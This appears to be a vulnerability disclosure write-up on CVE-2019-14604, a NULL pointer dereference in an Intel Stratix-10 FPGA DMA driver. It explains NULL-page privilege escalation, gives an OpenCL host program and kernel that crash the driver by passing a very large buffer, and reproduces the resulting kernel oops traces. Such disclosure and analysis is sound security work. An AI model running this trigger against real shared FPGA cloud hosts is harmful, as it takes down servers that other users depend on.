NULL Pointer Dereferencing (CVE-2019-14604)

The Denial-of-Service (DoS) attack due to Null Pointer Dereferencing vulnerability (CVE-2019-14604) can lead to vital exploits in the cloud scenario. It exists in the DMA driver module lacking sufficient checks while releasing memory pinned user-pages. This vulnerability can be exploited in the cloud to cause DoS attack or in rare cases, escalate privileges or execute rootkits. If an adversary is able to escalate its privileges on the cloud, it can establish extended control over the system for impacting other users on the same server or even infecting all connected servers on the local network.

A NULL pointer dereference exception occurs when an application dereferences an object that is expected to be valid but is NULL. NULL pointer dereference typically causes the segmentation fault or memory violation and is managed effectively in advanced languages such as Java and C++. But in C, which is widely used for low-level system implementations, NULL is a built-in constant that evaluates to 0. The challenge is that x86 systems also contain a valid address 0 in the kernel address space. Hence, if the attacker could trick kernel to read and write at address ‘0’, the user can effectively increase its privilege-level to run tailored exploits from a higher privilege that is not available in the regular (constrained) user-mode.

Implementing and accessing a completely separate space is quite expensive, due to which all OS implementations embed the kernel in the user’s process address space and rely on page protections to prevent the user from accessing it. As a result, when the system switches to the kernel mode, the kernel pages become accessible. Along with that, the pages associated to user’s process are also visible and accessible to the kernel. The system can be switched to kernel mode by invoking system calls, which are sets of entry-points for userspace to interact with the kernel. In a nutshell, it will try to access page zero for the case where the kernel dereferences the NULL pointer. Therefore, if the user (adversary) can map a page to page zero (usually using systemcall mmap) and induce the kernel to dereference a NULL, it will make the kernel getting user space data where the user controls the NULL dereferenced information.

In the case of Stratix-10 device drivers, the DMA page lock vulnerability reflected that the DMA module always assumes user pages are pinned to the memory during DMA transfer. This leads us to ask the question — “Can someone use it to deliberately cause NULL pages to be dereferenced by the kernel?”.

//---------User Application---------
int main(int argc, char **argv){
GetDevice();
BuildKernel();
cl_mem buffer_state = clCreateBuffer(context, CL_MEM_READ_WRITE, sizeof(unsigned char) * TOTAL_LEN, NULL, &err);
size_t global_size = TOTAL_LEN;
size_t local_size = TOTAL_LEN/16;
clSetKernelArg(kernel, 0, sizeof(cl_mem), &buffer_state);
clSetKernelArg(kernel, 1, sizeof(cl_mem), &buffer_state);
clEnqueueNDRangeKernel(queue, kernel, 1, NULL, &global_size,&local_size, 0, NULL, NULL);
clFinish(queue);
unsigned char *out = (unsigned char*)memalign(AOCL_ALIGNMENT, sizeof(unsigned char) * TOTAL_LEN);
err = clEnqueueReadBuffer(queue, buffer_state, CL_FALSE, 0, sizeof(unsigned char) * TOTAL_LEN, out, 0, NULL, NULL);
CleanUp();
return 0;
}
//----------OpenCL Kernel ----------
__kernel void my_kernel(__global unsigned char *b, __global unsigned char *c)
{
  int gid = get_global_id(0);
  c[gid] = b[gid];
}

We performed example attacks by providing a very large amount of user pages, deliberately causing the kernel to crash due to the dereferencing of NULL user pages. The reason behind such a failure is that if process pages were not pinned to the memory for any reason,, pointers to those pages were assigned as NULL. As a consequence, when DMA module calls aclpci_release() to release pinned pages, it ends up dereferencing NULL pointers. The detailed error trace from kernel buffer is provided below for interested readers. In the cloud scenario, the severity of the vulnerability magnifies because it can be remotely exploited as well as it gives full control to the attacker to run any kind of malicious exploit.

Beginning with Linux Kernel 2.6.23, mmap_min_addr is implemented to prevent against such types of memory mapping attacks. It is a kernel tunable (can be set by the system admin) that prevents the creation of new memory mappings below the specified minimum address by unprivileged users (with the default being 0-4096 address range). However, people have shown that such countermeasures can be bypassed exposing the system to the risk of NULL dereferencing exploits. The following links demonstrate exploits shown in the past to bypass mmap_min_addr protections.
Link 1 Link 2 Link 3
We are not aware of any publically available unfixed exploit to bypass mmap_min_addr but that does not imply it’s not possible to bypass mmap_min_addr to exploit Null pointer dereferencing vulnerability to escalate privileges.

Kernel Buffer Error Trace
[  146.652738] aclpci_close (225): 
[  146.652741] aclpci = 0000000060c77f9a, pid = 2676, dma_idle = 1

[  148.605327] aclpci_open (167): 
[  148.605328] aclpci = 0000000060c77f9a, pid = 2682 (host)

[  148.605371] init_irq (407): 
[  148.605371] using a 64-bit irq mask

[  149.493770] BUG: unable to handle kernel NULL pointer dereference at 0000000000000070
[  149.493776] IP: down_write+0x1f/0x40
[  149.493777] PGD 0 P4D 0 
[  149.493779] Oops: 0002 [#1] SMP PTI
[  149.493780] Modules linked in: nls_iso8859_1 input_leds snd_hda_codec_realtek ...
[  149.493808]  psmouse drm_kms_helper e1000e syscopyarea sysfillrect sysimgblt ptp fb_sys_fops pps_core wmi drm video
[  149.493815] CPU: 0 PID: 187 Comm: kworker/u8:5 Tainted: G           OE    4.15.0-55-generic #60~16.04.2-Ubuntu
[  149.493815] Hardware name: Dell Inc. Precision Tower 3620/0MWYPT, BIOS 2.12.0 02/15/2019
[  149.493818] Workqueue: aclkmdq wq_func_dma_update [aclpci_de10_pro_drv]
[  149.493820] RIP: 0010:down_write+0x1f/0x40
[  149.493821] RSP: 0018:ffffb7a246db7db0 EFLAGS: 00010246
[  149.493823] RAX: 0000000000000070 RBX: 0000000000000070 RCX: ffff9a24fd010820
[  149.493824] RDX: ffffffff00000001 RSI: ffff9a24f2775c00 RDI: 0000000000000070
[  149.493825] RBP: ffffb7a246db7db8 R08: 0000000000000000 R09: 0000000000000000
[  149.493826] R10: ffffb7a247a1be80 R11: 0000000000000026 R12: ffff9a24f2775c00
[  149.493827] R13: 0000000000000021 R14: ffff9a24f01d45c0 R15: 0000000000000000
[  149.493828] FS:  0000000000000000(0000) GS:ffff9a253dc00000(0000) knlGS:0000000000000000
[  149.493829] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  149.493830] CR2: 0000000000000070 CR3: 0000000d0a20a006 CR4: 00000000003606f0
[  149.493831] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  149.493832] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[  149.493833] Call Trace:
[  149.493836]  aclpci_release_user_pages+0x2b/0xc0 [aclpci_de10_pro_drv]
[  149.493838]  unlock_dma_buffer+0x2e/0x90 [aclpci_de10_pro_drv]
[  149.493840]  aclpci_dma_update+0x27c/0x650 [aclpci_de10_pro_drv]
[  149.493841]  wq_func_dma_update+0x17/0x20 [aclpci_de10_pro_drv]
[  149.493844]  process_one_work+0x14d/0x410
[  149.493846]  worker_thread+0x4b/0x460
[  149.493848]  kthread+0x105/0x140
[  149.493849]  ? process_one_work+0x410/0x410
[  149.493851]  ? kthread_destroy_worker+0x50/0x50
[  149.493852]  ret_from_fork+0x35/0x40
[  149.493853] Code: 40 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 53 48 89 fb e8 fe d6 ff ff 48 ba 01 00 00 00 ff ff ff ff 48 89 d8 <f0> 48 0f c1 10 85 d2 74 05 e8 13 1d ff ff 65 48 8b 04 25 00 5c 
[  149.493874] RIP: down_write+0x1f/0x40 RSP: ffffb7a246db7db0
[  149.493875] CR2: 0000000000000070
[  149.493876] ---[ end trace 6791334bd8bdf480 ]---
[  149.523883] aclpci_close (225): 
[  149.523885] aclpci = 0000000060c77f9a, pid = 2682, dma_idle = 0

[  149.523891] BUG: unable to handle kernel NULL pointer dereference at 0000000000000070
[  149.523895] IP: down_write+0x1f/0x40
[  149.523896] PGD 0 P4D 0 
[  149.523898] Oops: 0002 [#2] SMP PTI
[  149.523900] Modules linked in: nls_iso8859_1 input_leds snd_hda_codec_realtek ...
[  149.523927]  psmouse drm_kms_helper e1000e syscopyarea sysfillrect sysimgblt ptp fb_sys_fops pps_core wmi drm video
[  149.523933] CPU: 2 PID: 2682 Comm: host Tainted: G      D    OE    4.15.0-55-generic #60~16.04.2-Ubuntu
[  149.523934] Hardware name: Dell Inc. Precision Tower 3620/0MWYPT, BIOS 2.12.0 02/15/2019
[  149.523936] RIP: 0010:down_write+0x1f/0x40
[  149.523937] RSP: 0018:ffffb7a2515f7d08 EFLAGS: 00010246
[  149.523938] RAX: 0000000000000070 RBX: 0000000000000070 RCX: 0000000000000006
[  149.523939] RDX: ffffffff00000001 RSI: ffff9a24f2775c00 RDI: 0000000000000070
[  149.523940] RBP: ffffb7a2515f7d10 R08: 000000000007fe6f R09: 0000000000000498
[  149.523941] R10: ffff9a24eba77540 R11: ffffffff9275380d R12: ffff9a24f2775c00
[  149.523942] R13: 0000000000000021 R14: ffff9a24f01d45c0 R15: ffff9a24f4368180
[  149.523943] FS:  0000000000000000(0000) GS:ffff9a253dd00000(0000) knlGS:0000000000000000
[  149.523944] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  149.523945] CR2: 0000000000000070 CR3: 0000000d0a20a005 CR4: 00000000003606e0
[  149.523946] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  149.523947] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[  149.523948] Call Trace:
[  149.523952]  aclpci_release_user_pages+0x2b/0xc0 [aclpci_de10_pro_drv]
[  149.523954]  unlock_dma_buffer+0x2e/0x90 [aclpci_de10_pro_drv]
[  149.523956]  unlock_all_dma+0x23/0x60 [aclpci_de10_pro_drv]
[  149.523958]  aclpci_dma_finish+0x26/0x60 [aclpci_de10_pro_drv]
[  149.523959]  release_irq+0x1c/0xd0 [aclpci_de10_pro_drv]
[  149.523961]  aclpci_close+0xb1/0xc0 [aclpci_de10_pro_drv]
[  149.523964]  __fput+0xea/0x220
[  149.523965]  ____fput+0xe/0x10
[  149.523968]  task_work_run+0x8a/0xb0
[  149.523987]  do_exit+0x2de/0xb50
[  149.523989]  ? __do_page_fault+0x27d/0x500
[  149.523991]  do_group_exit+0x43/0xb0
[  149.523992]  SyS_exit_group+0x14/0x20
[  149.523995]  do_syscall_64+0x73/0x130
[  149.523996]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[  149.523997] RIP: 0033:0x7fcc0d776748
[  149.523998] RSP: 002b:00007fff83338648 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
[  149.524000] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcc0d776748
[  149.524013] RDX: 0000000000000000 RSI: 000000000000003c RDI: 0000000000000000
[  149.524014] RBP: 00007fcc0da6a8e0 R08: 00000000000000e7 R09: ffffffffffffff98
[  149.524015] R10: 00007fcc0d6a9068 R11: 0000000000000246 R12: 00007fcc0da6a8e0
[  149.524016] R13: 00007fcc0da6fc40 R14: 0000000000000000 R15: 0000000000000000
[  149.524017] Code: 40 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 53 48 89 fb e8 fe d6 ff ff 48 ba 01 00 00 00 ff ff ff ff 48 89 d8 <f0> 48 0f c1 10 85 d2 74 05 e8 13 1d ff ff 65 48 8b 04 25 00 5c 
[  149.524038] RIP: down_write+0x1f/0x40 RSP: ffffb7a2515f7d08
[  149.524038] CR2: 0000000000000070
[  149.524040] ---[ end trace 6791334bd8bdf481 ]---
[  149.541830] Fixing recursive fault but reboot is needed!